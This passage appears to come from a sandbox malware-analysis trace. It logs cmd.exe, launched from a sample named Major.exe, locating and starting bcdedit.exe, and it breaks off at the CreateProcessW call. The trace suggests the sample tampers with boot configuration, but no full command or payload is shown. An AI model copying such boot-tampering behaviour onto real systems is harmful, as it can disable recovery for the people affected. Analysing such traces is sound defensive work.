_String2="HIGHESTNUMANODENUMBER") returned 3 [0087.044] malloc (_Size=0xffce) returned 0x2a4281e0040 [0087.044] ??_V@YAXPEAX@Z () returned 0x2a4281e0040 [0087.045] GetProcessHeap () returned 0x2a4280c0000 [0087.045] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x40) returned 0x2a4280c8820 [0087.045] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2a4281e0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.045] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2a4281e0040, lpFilePart=0xa9ad6ff740 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa9ad6ff740*="Desktop") returned 0x17 [0087.045] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.045] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xa9ad6ff470 | out: lpFindFileData=0xa9ad6ff470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2a4280c8870 [0087.046] FindClose (in: hFindFile=0x2a4280c8870 | out: hFindFile=0x2a4280c8870) returned 1 [0087.046] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xa9ad6ff470 | out: lpFindFileData=0xa9ad6ff470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2a4280c8870 [0087.073] FindClose (in: hFindFile=0x2a4280c8870 | out: hFindFile=0x2a4280c8870) returned 1 [0087.073] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xa9ad6ff470 | out: lpFindFileData=0xa9ad6ff470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2a4280c8870 [0087.073] FindClose (in: hFindFile=0x2a4280c8870 | out: hFindFile=0x2a4280c8870) returned 1 [0087.073] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.073] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.073] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.074] GetProcessHeap () returned 0x2a4280c0000 [0087.074] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c6660) returned 1 [0087.074] GetEnvironmentStringsW () returned 0x2a4280c0fc0* [0087.074] GetProcessHeap () returned 0x2a4280c0000 [0087.074] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb7e) returned 0x2a4280c9400 [0087.074] FreeEnvironmentStringsA (penv="=") returned 1 [0087.074] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2a4281c0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.074] GetProcessHeap () returned 0x2a4280c0000 [0087.074] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c8820) returned 1 [0087.074] ??_V@YAXPEAX@Z () returned 0x1 [0087.074] ??_V@YAXPEAX@Z () returned 0x1 [0087.074] GetProcessHeap () returned 0x2a4280c0000 [0087.074] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x4016) returned 0x2a4280c9f90 [0087.074] GetProcessHeap () returned 0x2a4280c0000 [0087.075] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x68) returned 0x2a4280c0fc0 [0087.075] GetProcessHeap () returned 0x2a4280c0000 [0087.075] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c9f90) returned 1 [0087.075] GetConsoleOutputCP () returned 0x1b5 [0087.094] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.094] GetUserDefaultLCID () returned 0x409 [0087.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa9ad6ffb00, cchData=128 | out: lpLCData="0") returned 2 [0087.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa9ad6ffb00, cchData=128 | out: lpLCData="0") returned 2 [0087.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa9ad6ffb00, cchData=128 | out: lpLCData="1") returned 2 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.095] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.096] GetProcessHeap () returned 0x2a4280c0000 [0087.096] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x0, Size=0x20c) returned 0x2a4280c10a0 [0087.096] GetConsoleTitleW (in: lpConsoleTitle=0x2a4280c10a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.287] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.287] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0087.287] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.287] ??_V@YAXPEAX@Z () returned 0x1 [0087.287] GetProcessHeap () returned 0x2a4280c0000 [0087.287] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x4012) returned 0x2a4280c9f90 [0087.288] GetProcessHeap () returned 0x2a4280c0000 [0087.288] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c9f90) returned 1 [0087.288] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0087.288] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0087.288] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0087.288] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0087.288] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0087.288] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0087.288] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0087.288] GetProcessHeap () returned 0x2a4280c0000 [0087.288] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb0) returned 0x2a4280c12c0 [0087.288] GetProcessHeap () returned 0x2a4280c0000 [0087.288] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x20) returned 0x2a4280c8820 [0087.289] GetProcessHeap () returned 0x2a4280c0000 [0087.289] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x56) returned 0x2a4280c1380 [0087.289] GetConsoleTitleW (in: lpConsoleTitle=0xa9ad6ff9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.329] malloc (_Size=0xffce) returned 0x2a4281d0060 [0087.329] ??_V@YAXPEAX@Z () returned 0x2a4281d0060 [0087.330] malloc (_Size=0xffce) returned 0x2a4281e0040 [0087.330] ??_V@YAXPEAX@Z () returned 0x2a4281e0040 [0087.331] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.331] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.331] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.331] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.331] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.331] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.331] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.331] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.331] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.331] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.331] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.331] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.331] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.331] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.331] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.331] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.331] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.331] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.331] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.331] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.331] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.331] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.331] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.331] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.331] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.331] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.331] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.331] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.331] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.331] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.331] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.331] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.331] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.331] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.331] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.331] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.331] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.331] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.332] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.332] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.332] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.332] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.332] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.332] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.332] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.332] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.332] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.332] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.332] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.332] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.332] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.332] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.332] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.332] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.332] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.332] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.332] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.332] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.332] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.332] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.332] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.332] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.332] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.332] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.332] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.332] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.332] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.332] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.332] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.332] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.332] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.332] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.333] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.333] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.333] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.333] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.333] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.333] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.333] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0087.333] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0087.333] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0087.333] ??_V@YAXPEAX@Z () returned 0x1 [0087.333] GetProcessHeap () returned 0x2a4280c0000 [0087.333] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xffde) returned 0x2a4280c9f90 [0087.334] GetProcessHeap () returned 0x2a4280c0000 [0087.334] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x66) returned 0x2a4280c13e0 [0087.334] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0087.334] malloc (_Size=0xffce) returned 0x2a4281e0040 [0087.334] ??_V@YAXPEAX@Z () returned 0x2a4281e0040 [0087.334] GetProcessHeap () returned 0x2a4280c0000 [0087.334] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x1ffac) returned 0x2a4280d9f80 [0087.336] SetErrorMode (uMode=0x0) returned 0x0 [0087.336] SetErrorMode (uMode=0x1) returned 0x0 [0087.336] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2a4280d9f90, lpFilePart=0xa9ad6ff270 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa9ad6ff270*="Desktop") returned 0x17 [0087.336] SetErrorMode (uMode=0x0) returned 0x1 [0087.336] GetProcessHeap () returned 0x2a4280c0000 [0087.337] RtlReAllocateHeap (Heap=0x2a4280c0000, Flags=0x0, Ptr=0x2a4280d9f80, Size=0x50) returned 0x2a4280d9f80 [0087.337] GetProcessHeap () returned 0x2a4280c0000 [0087.337] RtlSizeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, MemoryPointer=0x2a4280d9f80) returned 0x50 [0087.337] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.337] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.337] GetProcessHeap () returned 0x2a4280c0000 [0087.337] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x1bc) returned 0x2a4280c1450 [0087.337] GetProcessHeap () returned 0x2a4280c0000 [0087.337] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x368) returned 0x2a4280c1620 [0087.342] GetProcessHeap () returned 0x2a4280c0000 [0087.342] RtlReAllocateHeap (Heap=0x2a4280c0000, Flags=0x0, Ptr=0x2a4280c1620, Size=0x1be) returned 0x2a4280c1620 [0087.342] GetProcessHeap () returned 0x2a4280c0000 [0087.342] RtlSizeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, MemoryPointer=0x2a4280c1620) returned 0x1be [0087.342] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.342] GetProcessHeap () returned 0x2a4280c0000 [0087.342] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xe8) returned 0x2a4280c17f0 [0087.342] GetProcessHeap () returned 0x2a4280c0000 [0087.342] RtlReAllocateHeap (Heap=0x2a4280c0000, Flags=0x0, Ptr=0x2a4280c17f0, Size=0x7e) returned 0x2a4280c17f0 [0087.342] GetProcessHeap () returned 0x2a4280c0000 [0087.342] RtlSizeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, MemoryPointer=0x2a4280c17f0) returned 0x7e [0087.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.343] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xa9ad6fefe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa9ad6fefe0) returned 0xffffffffffffffff [0087.343] GetLastError () returned 0x2 [0087.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.343] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xa9ad6fefe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa9ad6fefe0) returned 0xffffffffffffffff [0087.343] GetLastError () returned 0x2 [0087.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xa9ad6fefe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa9ad6fefe0) returned 0x2a4280c1880 [0087.343] GetProcessHeap () returned 0x2a4280c0000 [0087.343] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x0, Size=0x28) returned 0x2a4280c18e0 [0087.343] FindClose (in: hFindFile=0x2a4280c1880 | out: hFindFile=0x2a4280c1880) returned 1 [0087.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0xa9ad6fefe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa9ad6fefe0) returned 0xffffffffffffffff [0087.344] GetLastError () returned 0x2 [0087.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0xa9ad6fefe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa9ad6fefe0) returned 0x2a4280c1880 [0087.344] GetProcessHeap () returned 0x2a4280c0000 [0087.344] RtlReAllocateHeap (Heap=0x2a4280c0000, Flags=0x0, Ptr=0x2a4280c18e0, Size=0x8) returned 0x2a4280c18e0 [0087.344] FindClose (in: hFindFile=0x2a4280c1880 | out: hFindFile=0x2a4280c1880) returned 1 [0087.344] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0087.344] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0087.344] ??_V@YAXPEAX@Z () returned 0x1 [0087.344] GetConsoleTitleW (in: lpConsoleTitle=0xa9ad6ff560, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.362] InitializeProcThreadAttributeList (in: lpAttributeList=0xa9ad6ff480, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa9ad6ff370 | out: lpAttributeList=0xa9ad6ff480, lpSize=0xa9ad6ff370) returned 1 [0087.362] UpdateProcThreadAttribute (in: lpAttributeList=0xa9ad6ff480, dwFlags=0x0, Attribute=0x60001, lpValue=0xa9ad6ff35c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa9ad6ff480, lpPreviousValue=0x0) returned 1 [0087.362] GetStartupInfoW (in: lpStartupInfo=0xa9ad6ff410 | out: lpStartupInfo=0xa9ad6ff410*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.362] GetProcessHeap () returned 0x2a4280c0000 [0087.362] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x20) returned 0x2a4280c1880 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.362] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.363] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.363] GetProcessHeap () returned 0x2a4280c0000 [0087.363] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c1880) returned 1 [0087.363] GetProcessHeap () returned 0x2a4280c0000 [0087.363] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0x12) returned 0x2a4280c8850 [0087.363] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.365] _get_osfhandle (_FileHandle=1) returned 0xc [0087.365] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.369] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.369] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.373] CreateProcessW (in: 